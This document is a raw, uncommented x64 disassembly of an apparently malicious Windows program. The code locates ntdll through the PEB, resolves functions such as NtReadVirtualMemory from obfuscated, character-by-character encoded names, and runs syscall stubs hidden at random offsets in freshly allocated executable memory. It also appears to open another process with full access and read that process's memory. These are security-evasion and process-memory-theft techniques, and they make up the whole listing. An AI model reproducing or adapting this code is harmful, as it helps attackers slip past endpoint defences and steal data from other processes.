call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x80], rax
call fcn.1400a18a0
or dword [rbp + 0x148f4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x13570]
call fcn.1400437d4
lea rcx, [rbp + 0x13570]
call fcn.1400431ec
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x60], r8
xor eax, eax
lea r12d, [rax + 1]
lea rcx, [rbp + 0x13570]
call fcn.1400431ec
mov eax, eax
mov qword [rbp + rdi*8 + 0x2e490], rax
add rdi, r12
cmp rdi, 0x200
jl 0x140033779
mov r12d, reloc.WLDAP32.dll_Ordinal_32
mov rdi, qword [rbp - 0x80]
mov r8d, 0x1000
lea rdx, [rbp + 0x2e490]
mov rcx, rdi
call fcn.1400c9110
mov eax, dword [rsp + 0x60]
mov dword [0x14010d364], eax
add rdi, qword [rbp - 0x60]
movsd xmm0, qword [0x14010d360]
movsd qword [rdi], xmm0
movzx eax, word [0x14010d368]
mov word [rdi + 8], ax
mov al, byte [0x14010d36a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe44], eax
lea r9, [rbp + 0xe44]
mov r8d, r12d
mov edx, 0x1000
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x20], rax
lea r9d, [r12 + 9]
lea r8, [rbp + 0x28238]
mov rdx, qword [rbp - 0x48]
mov rcx, qword [rbp - 0x20]
call rdi
mov dword [rsp + 0x60], eax
lea r9, [rbp + 0xe44]
mov r8d, dword [rbp + 0xe44]
mov edx, 0x1000
mov rdi, qword [rbp - 0x80]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rdi
call fcn.1400c97b0
lea edx, [r12 - 0x15]
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor edi, edi
mov dword [0x14010d364], edi
mov eax, dword [rsp + 0x60]
jmp 0x140032a82
mov rcx, qword [rbp - 0x80]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x140033af1
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140033af1
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140033af1
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140033af1
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x70], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x60], rax
test rax, rax
je 0x140033af1
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x2c1]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140033910
inc rax
test edi, edi
jne 0x1400338fb
mov edi, 1
test r8d, r8d
je 0x140033928
add rdx, rdi
cmp rdx, qword [rbp - 0x60]
jb 0x1400338ea
jmp 0x140033af6
mov rax, qword [rbp - 0x70]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140033af6
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
cmp eax, edi
jl 0x140033af6
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x78], rax
call fcn.1400a18a0
or dword [rbp + 0x15c84], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x14900]
call fcn.1400437d4
lea rcx, [rbp + 0x14900]
call fcn.1400431ec
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x60], r8
xor eax, eax
mov edi, eax
lea r12d, [rax + 1]
lea rcx, [rbp + 0x14900]
call fcn.1400431ec
mov eax, eax
mov qword [rbp + rdi*8 + 0x2f490], rax
add rdi, r12
cmp rdi, 0x200
jl 0x1400339ca
mov r12d, reloc.WLDAP32.dll_Ordinal_32
mov rdi, qword [rsp + 0x78]
mov r8d, 0x1000
lea rdx, [rbp + 0x2f490]
mov rcx, rdi
call fcn.1400c9110
mov eax, dword [rsp + 0x60]
mov dword [0x14010d364], eax
add rdi, qword [rbp - 0x60]
movsd xmm0, qword [0x14010d360]
movsd qword [rdi], xmm0
movzx eax, word [0x14010d368]
mov word [rdi + 8], ax
mov al, byte [0x14010d36a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe40], eax
lea r9, [rbp + 0xe40]
mov r8d, r12d
mov edx, 0x1000
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rax
mov rax, qword [rbp - 0x48]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp - 0x20]
xor r8d, r8d
mov edx, 0x1fffff
lea rcx, [rbp + 0xce0]
call rdi
mov edi, eax
lea r9, [rbp + 0xe40]
mov r8d, dword [rbp + 0xe40]
mov edx, 0x1000
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, qword [rsp + 0x78]
call fcn.1400c97b0
lea edx, [r12 - 0x15]
mov r8d, 0x8000
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x14010d364], eax
test edi, edi
js 0x14003b083
mov edi, 1
mov rax, qword [rbp + 0xce0]
mov qword [rbp + 0x218], rax
cmp rax, 0xffffffffffffffff
je 0x14003b083
mov byte [rbp + 0x6f8], reloc.WS2_32.dll_WSACleanup
mov r9, r14
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x6f8]
call fcn.140042ae8
mov byte [rbp + 0x6f9], al
mov r9, r14
mov r8, rdi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x6f8]
call fcn.140042ae8
mov byte [rbp + 0x6fa], al
mov r9, r14
mov r8d, 2
mov dl, 0x57
lea rcx, [rbp + 0x6f8]
call fcn.140042ae8
mov byte [rbp + 0x6fb], al
mov r9, r14
mov r8d, 3
mov dl, 0x61
lea rcx, [rbp + 0x6f8]
call fcn.140042ae8
mov byte [rbp + 0x6fc], al
mov r9, r14
mov r8d, 4
mov dl, 0x69
lea rcx, [rbp + 0x6f8]
call fcn.140042ae8
mov byte [rbp + 0x6fd], al
mov r9, r14
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x6f8]
call fcn.140042ae8
mov byte [rbp + 0x6fe], al
mov r9, r14
mov r8d, 6
mov dl, 0x46
lea rcx, [rbp + 0x6f8]
call fcn.140042ae8
mov byte [rbp + 0x6ff], al
mov r9, r14
mov r8d, 7
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x6f8]
call fcn.140042ae8
mov byte [rbp + 0x700], al
mov r9, r14
mov r8d, 8
mov dl, WSAStartup
lea rcx, [rbp + 0x6f8]
call fcn.140042ae8
mov byte [rbp + 0x701], al
mov r9, r14
mov r8d, 9
mov dl, 0x53
lea rcx, [rbp + 0x6f8]
call fcn.140042ae8
mov byte [rbp + 0x702], al
mov r9, r14
mov r8d, 0xa
mov dl, 0x69
lea rcx, [rbp + 0x6f8]
call fcn.140042ae8
mov byte [rbp + 0x703], al
mov r9, r14
mov r8d, ntohs
mov dl, WSAGetLastError
lea rcx, [rbp + 0x6f8]
call fcn.140042ae8
mov byte [rbp + 0x704], al
mov r9, r14
mov r8d, ntohs
mov dl, 0x67
lea rcx, [rbp + 0x6f8]
call fcn.140042ae8
mov byte [rbp + 0x705], al
mov r9, r14
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0x6f8]
call fcn.140042ae8
mov byte [rbp + 0x706], al
mov r9, r14
mov r8d, select
mov dl, 0x65
lea rcx, [rbp + 0x6f8]
call fcn.140042ae8
mov byte [rbp + 0x707], al
mov r9, r14
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, reloc.WLDAP32.dll_Ordinal_79
lea rcx, [rbp + 0x6f8]
call fcn.140042ae8
mov byte [rbp + 0x708], al
mov r9, r14
mov r8, r13
mov dl, 0x62
lea rcx, [rbp + 0x6f8]
call fcn.140042ae8
mov byte [rbp + 0x709], al
mov r9, r14
mov r8, rbx
mov dl, 0x6a
lea rcx, [rbp + 0x6f8]
call fcn.140042ae8
mov byte [rbp + 0x70a], al
mov r9, r14
mov r8d, reloc.WS2_32.dll_select
mov dl, 0x65
lea rcx, [rbp + 0x6f8]
call fcn.140042ae8
mov byte [rbp + 0x70b], al
mov r9, r14
mov edi, reloc.WS2_32.dll_send
mov r8d, edi
mov dl, 0x63
lea rcx, [rbp + 0x6f8]
call fcn.140042ae8
mov byte [rbp + 0x70c], al
mov r9, r14
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x6f8]
call fcn.140042ae8
mov byte [rbp + 0x70d], al
xor eax, eax
mov byte [rbp + 0x70e], al
mov esi, eax
lea r12d, [rdi - 0x12]
mov r9, r14
mov r8, rsi
mov dl, byte [rbp + rsi + 0x6f9]
lea rcx, [rbp + 0x6f8]
call fcn.140042ae8
mov byte [rbp + rsi + 0x6f9], al
add rsi, r12
cmp rsi, r14
jb 0x140033d77
mov r12d, reloc.WLDAP32.dll_Ordinal_32
xor r15d, r15d
mov byte [rbp + 0x70e], r15b
mov byte [rbp + 0x208], dil
lea ebx, [r12 - 0x17]
mov r9d, ebx
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x208]
call fcn.140042908
mov byte [rbp + 0x209], al
mov r9d, ebx
lea ebx, [r12 - 0x1f]
mov r8d, ebx
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x208]
call fcn.140042908
mov byte [rbp + 0x20a], al
lea r9d, [r12 - 0x17]
lea r8d, [r12 - 0x1e]
mov dl, 0x64
lea rcx, [rbp + 0x208]
call fcn.140042908
mov byte [rbp + 0x20b], al
lea r9d, [r12 - 0x17]
lea r8d, [r12 - 0x1d]
mov dl, 0x6c
lea rcx, [rbp + 0x208]
call fcn.140042908
mov byte [rbp + 0x20c], al
lea r9d, [r12 - 0x17]
lea r8d, [r12 - 0x1c]
mov dl, 0x6c
lea rcx, [rbp + 0x208]
call fcn.140042908
mov byte [rbp + 0x20d], al
lea r9d, [r12 - 0x17]
lea r8d, [r12 - 0x1b]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x208]
call fcn.140042908
mov byte [rbp + 0x20e], al
lea r9d, [r12 - 0x17]
lea r8d, [r12 - 0x1a]
mov dl, 0x64
lea rcx, [rbp + 0x208]
call fcn.140042908
mov byte [rbp + 0x20f], al
lea r9d, [r12 - 0x17]
lea r8d, [r12 - 0x19]
mov dl, 0x6c
lea rcx, [rbp + 0x208]
call fcn.140042908
mov byte [rbp + 0x210], al
lea r9d, [r12 - 0x17]
lea r8d, [r12 - 0x18]
mov dl, 0x6c
lea rcx, [rbp + 0x208]
call fcn.140042908
mov byte [rbp + 0x211], al
xor eax, eax
mov byte [rbp + 0x212], al
mov r9d, 9
mov r8, r15
mov dl, byte [rbp + r15 + 0x209]
lea rcx, [rbp + 0x208]
call fcn.140042908
mov byte [rbp + r15 + 0x209], al
add r15, rbx
cmp r15, 9
jb 0x140033ece
mov ebx, reloc.WS2_32.dll_recvfrom
xor ecx, ecx
mov byte [rbp + 0x212], cl
mov rax, qword gs:[0x60]
test rax, rax
je 0x140034266
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x80], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x78], ecx
movsxd rcx, eax
inc rcx
call fcn.1400a1b84
mov r9, rax
mov qword [rbp - 0x60], rax
xor ecx, ecx
mov r8d, ecx
movsxd r10, dword [rsp + 0x60]
test r10d, r10d
jle 0x140033fb0
lea r13d, [rcx + 1]
mov r11d, r13d
mov rdx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x68]
mov ecx, r11d
cmp word [rsi + r8*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [rsi + r8*2]
mov byte [r9 + r8], al
add r11d, r13d
add r8, r13
cmp r8, r10
jl 0x140033f7b
mov r12d, reloc.WLDAP32.dll_Ordinal_32
lea r13d, [r12 - 0x10]
mov dword [rsp + 0x78], ecx
mov qword [rsp + 0x70], rdx
sub r10d, edi
movsxd rdi, r10d
movsxd rdx, dword [rsp + 0x78]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400c9110
mov rcx, qword [rbp - 0x60]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x14003400c
mov rax, rcx
lea r9, [rbp + 0x209]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x140034005
add rax, r11
test edx, edx
jne 0x140033ff0
test r8d, r8d
cmove edi, r11d
call fcn.1400a1900
test dil, dil
jne 0x140034030
mov rax, qword [rbp - 0x80]
mov rax, qword [rax]
mov qword [rbp - 0x80], rax
cmp rax, qword [rbp - 0x70]
jne 0x140033f2b
jmp 0x140034261
mov rcx, qword [rbp - 0x80]
mov rcx, qword [rcx + 0x20]
xor edi, edi
test rcx, rcx
je 0x140034261
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140034261
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140034261
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140034261
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x70], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov edx, edi
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x60], rax
test rax, rax
je 0x140034261
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x6f9]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x1400340c2
inc rax
test edi, edi
jne 0x1400340ad
xor edi, edi
test r8d, r8d
je 0x1400340d7
inc rdx
cmp rdx, qword [rbp - 0x60]
jb 0x14003409c
jmp 0x140034261
mov rax, qword [rbp - 0x70]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140034261
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x140034261
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x80], rax
call fcn.1400a18a0
or dword [rbp + 0x17014], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x15c90]
call fcn.1400437d4
lea rcx, [rbp + 0x15c90]
call fcn.1400431ec
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x60], r8
xor eax, eax
lea ebx, [rax + 1]
lea rcx, [rbp + 0x15c90]
call fcn.1400431ec
mov eax, eax
mov qword [rbp + rdi*8 + 0x30490], rax
add rdi, rbx
cmp rdi, 0x200
jl 0x14003417a
mov ebx, reloc.WS2_32.dll_recvfrom
mov rdi, qword [rbp - 0x80]
mov r8d, 0x1000
lea rdx, [rbp + 0x30490]
mov rcx, rdi
call fcn.1400c9110
mov eax, dword [rsp + 0x60]
mov dword [0x14010d364], eax
add rdi, qword [rbp - 0x60]
movsd xmm0, qword [0x14010d360]
movsd qword [rdi], xmm0
movzx eax, word [0x14010d368]
mov word [rdi + 8], ax
mov al, byte [0x14010d36a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe3c], eax
lea r9, [rbp + 0xe3c]
mov r8d, r12d
mov edx, 0x1000
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x218]
call rdi
lea r9, [rbp + 0xe3c]
mov r8d, dword [rbp + 0xe3c]
mov edx, 0x1000
mov rdi, qword [rbp - 0x80]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rdi
call fcn.1400c97b0
lea edx, [rbx - 6]
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x14010d364], eax
mov edi, reloc.WS2_32.dll_send
xor r15d, r15d
mov qword [rbp + 0xeb0], r15
mov byte [rbp + 0x4b8], Ordinal_60
mov r9, rdi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x4b8]
call fcn.140043174
mov byte [rbp + 0x4b9], al
mov r9, rdi
lea esi, [r15 + 1]
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x4b8]
call fcn.140043174
mov byte [rbp + 0x4ba], al
mov r9, rdi
lea r8d, [r15 + 2]
mov dl, 0x52
lea rcx, [rbp + 0x4b8]
call fcn.140043174
mov byte [rbp + 0x4bb], al
mov r9, rdi
lea r8d, [r15 + 3]
mov dl, 0x65
lea rcx, [rbp + 0x4b8]
call fcn.140043174
mov byte [rbp + 0x4bc], al
mov r9, rdi
lea r8d, [r15 + 4]
mov dl, 0x61
lea rcx, [rbp + 0x4b8]
call fcn.140043174
mov byte [rbp + 0x4bd], al
mov r9, rdi
lea r8d, [r15 + 5]
mov dl, 0x64
lea rcx, [rbp + 0x4b8]
call fcn.140043174
mov byte [rbp + 0x4be], al
mov r9, rdi
lea r8d, [r15 + 6]
mov dl, 0x56
lea rcx, [rbp + 0x4b8]
call fcn.140043174
mov byte [rbp + 0x4bf], al
mov r9, rdi
lea r8d, [r15 + 7]
mov dl, 0x69
lea rcx, [rbp + 0x4b8]
call fcn.140043174
mov byte [rbp + 0x4c0], al
mov r9, rdi
lea r8d, [r15 + 8]
mov dl, WSAStartup
lea rcx, [rbp + 0x4b8]
call fcn.140043174
mov byte [rbp + 0x4c1], al
mov r9, rdi
lea r8d, [r15 + 9]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x4b8]
call fcn.140043174
mov byte [rbp + 0x4c2], al
mov r9, rdi
lea r8d, [r15 + 0xa]
mov dl, 0x75
lea rcx, [rbp + 0x4b8]
call fcn.140043174
mov byte [rbp + 0x4c3], al
mov r9, rdi
lea r8d, [r15 + 0xb]
mov dl, 0x61
lea rcx, [rbp + 0x4b8]
call fcn.140043174
mov byte [rbp + 0x4c4], al
mov r9, rdi
lea r8d, [r15 + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x4b8]
call fcn.140043174
mov byte [rbp + 0x4c5], al
mov r9, rdi
lea r8d, [r15 + 0xd]
mov dl, 0x4d
lea rcx, [rbp + 0x4b8]
call fcn.140043174
mov byte [rbp + 0x4c6], al
mov r9, rdi
lea r8d, [r15 + 0xe]
mov dl, 0x65
lea rcx, [rbp + 0x4b8]
call fcn.140043174
mov byte [rbp + 0x4c7], al
mov r9, rdi
lea r8d, [r15 + 0xf]
mov dl, 0x6d
lea rcx, [rbp + 0x4b8]
call fcn.140043174
mov byte [rbp + 0x4c8], al
mov r9, rdi
mov r8, r13
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x4b8]
call fcn.140043174
mov byte [rbp + 0x4c9], al
mov r9, rdi
mov r8, rbx
mov dl, WSAStartup
lea rcx, [rbp + 0x4b8]
call fcn.140043174
mov byte [rbp + 0x4ca], al
mov r9, rdi
lea r8d, [r15 + 0x12]
mov dl, 0x79
lea rcx, [rbp + 0x4b8]
call fcn.140043174
mov byte [rbp + 0x4cb], al
xor eax, eax
mov byte [rbp + 0x4cc], al
mov r9, rdi
mov r8, r15
mov dl, byte [rbp + r15 + 0x4b9]
lea rcx, [rbp + 0x4b8]
call fcn.140043174
mov byte [rbp + r15 + 0x4b9], al
add r15, rsi
cmp r15, rdi
jb 0x140034480
mov esi, reloc.WS2_32.dll_sendto
xor edi, edi
mov byte [rbp + 0x4cc], dil
mov byte [rbp + 0xa8], reloc.WS2_32.dll_gethostname
lea r12d, [rsi - 0xb]
mov r9d, r12d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0xa8]
call fcn.140042908
mov byte [rbp + 0xa9], al
mov r9d, r12d
lea r12d, [rsi - 0x13]
mov r8d, r12d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa8]
call fcn.140042908
mov byte [rbp + 0xaa], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0x12]
mov dl, 0x64
lea rcx, [rbp + 0xa8]
call fcn.140042908
mov byte [rbp + 0xab], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0x11]
mov dl, 0x6c
lea rcx, [rbp + 0xa8]
call fcn.140042908
mov byte [rbp + 0xac], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0x10]
mov dl, 0x6c
lea rcx, [rbp + 0xa8]
call fcn.140042908
mov byte [rbp + 0xad], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xf]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0xa8]
call fcn.140042908
mov byte [rbp + 0xae], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xe]
mov dl, 0x64
lea rcx, [rbp + 0xa8]
call fcn.140042908
mov byte [rbp + 0xaf], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xd]
mov dl, 0x6c
lea rcx, [rbp + 0xa8]
call fcn.140042908
mov byte [rbp + 0xb0], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0xa8]
call fcn.140042908
mov byte [rbp + 0xb1], al
xor eax, eax
mov byte [rbp + 0xb2], al
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0xa9]
lea rcx, [rbp + 0xa8]
call fcn.140042908
mov byte [rbp + rdi + 0xa9], al
add rdi, r12
cmp rdi, 9
jb 0x1400345c7
xor eax, eax
lea r12d, [rax + 0x20]
mov byte [rbp + 0xb2], al
mov rax, qword gs:[0x60]
xor edi, edi
test rax, rax
je 0x140034976
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x80], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x78], ecx
movsxd rcx, eax
inc rcx
call fcn.1400a1b84
mov r9, rax
mov qword [rbp - 0x60], rax
xor ecx, ecx
mov r8d, ecx
movsxd r10, dword [rsp + 0x60]
test r10d, r10d
jle 0x1400346a6
lea r13d, [rcx + 1]
mov r11d, r13d
mov rdx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x68]
mov ecx, r11d
cmp word [rsi + r8*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [rsi + r8*2]
mov byte [r9 + r8], al
add r11d, r13d
add r8, r13
cmp r8, r10
jl 0x140034673
mov esi, reloc.WS2_32.dll_sendto
lea r13d, [rsi - 4]
mov dword [rsp + 0x78], ecx
mov qword [rsp + 0x70], rdx
sub r10d, edi
movsxd rdi, r10d
movsxd rdx, dword [rsp + 0x78]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400c9110
mov rcx, qword [rbp - 0x60]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x140034702
mov rax, rcx
lea r9, [rbp + 0xa9]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x1400346fb
add rax, r11
test edx, edx
jne 0x1400346e6
test r8d, r8d
cmove edi, r11d
call fcn.1400a1900
test dil, dil
jne 0x140034726
mov rax, qword [rbp - 0x80]
mov rax, qword [rax]
mov qword [rbp - 0x80], rax
cmp rax, qword [rbp - 0x70]
jne 0x140034623
jmp 0x140034974
mov rcx, qword [rbp - 0x80]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x140034974
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140034974
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140034974
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140034974
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x70], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
xor edx, edx
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x60], rax
xor edi, edi
test rax, rax
je 0x140034976
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x4b9]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x1400347b8
inc rax
test edi, edi
jne 0x1400347a3
test r8d, r8d
je 0x1400347cb
inc rdx
cmp rdx, qword [rbp - 0x60]
jb 0x140034792
jmp 0x140034974
mov rax, qword [rbp - 0x70]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140034974
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x140034974
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x78], rax
call fcn.1400a18a0
or dword [rbp + 0x183a4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x17020]
call fcn.1400437d4
lea rcx, [rbp + 0x17020]
call fcn.1400431ec
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x60], r8
xor eax, eax
mov edi, eax
lea ebx, [rax + 1]
lea rcx, [rbp + 0x17020]
call fcn.1400431ec
mov eax, eax
mov qword [rbp + rdi*8 + 0x31490], rax
add rdi, rbx
cmp rdi, 0x200
jl 0x140034871
mov ebx, reloc.WS2_32.dll_recvfrom
mov rdi, qword [rsp + 0x78]
mov r8d, 0x1000
lea rdx, [rbp + 0x31490]
mov rcx, rdi
call fcn.1400c9110
mov eax, dword [rsp + 0x60]
mov dword [0x14010d364], eax
add rdi, qword [rbp - 0x60]
movsd xmm0, qword [0x14010d360]
movsd qword [rdi], xmm0
movzx eax, word [0x14010d368]
mov word [rdi + 8], ax
mov al, byte [0x14010d36a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe38], eax
lea r9, [rbp + 0xe38]
mov r8d, r12d
mov edx, 0x1000
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x20], rax
lea r9d, [rbx - 9]
lea r8, [rbp + 0xeb0]
mov rdx, qword [rbp - 0x78]
mov rcx, qword [rbp - 0x20]
call rdi
mov edi, eax
lea r9, [rbp + 0xe38]
mov r8d, dword [rbp + 0xe38]
mov edx, 0x1000
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, qword [rsp + 0x78]
call fcn.1400c97b0
lea edx, [rbx - 6]
mov r8d, 0x8000
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x14010d364], eax
test edi, edi
js 0x140039995
xor edi, edi
mov rax, qword [rbp + 0xbd8]
cmp qword [rax], rdi
je 0x140037cb4
mov rdi, qword [rsp + 0x70]
xor edx, edx
mov r8d, 0x1000
lea rcx, [rbp + 0x40490]
call fcn.1400c97b0
mov byte [rbp + 0x698], Ordinal_46
mov r9, rsi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x698]
call fcn.1400430f8
mov byte [rbp + 0x699], al
mov r9, rsi
mov r12d, 1
mov r8d, r12d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x698]
call fcn.1400430f8
mov byte [rbp + 0x69a], al
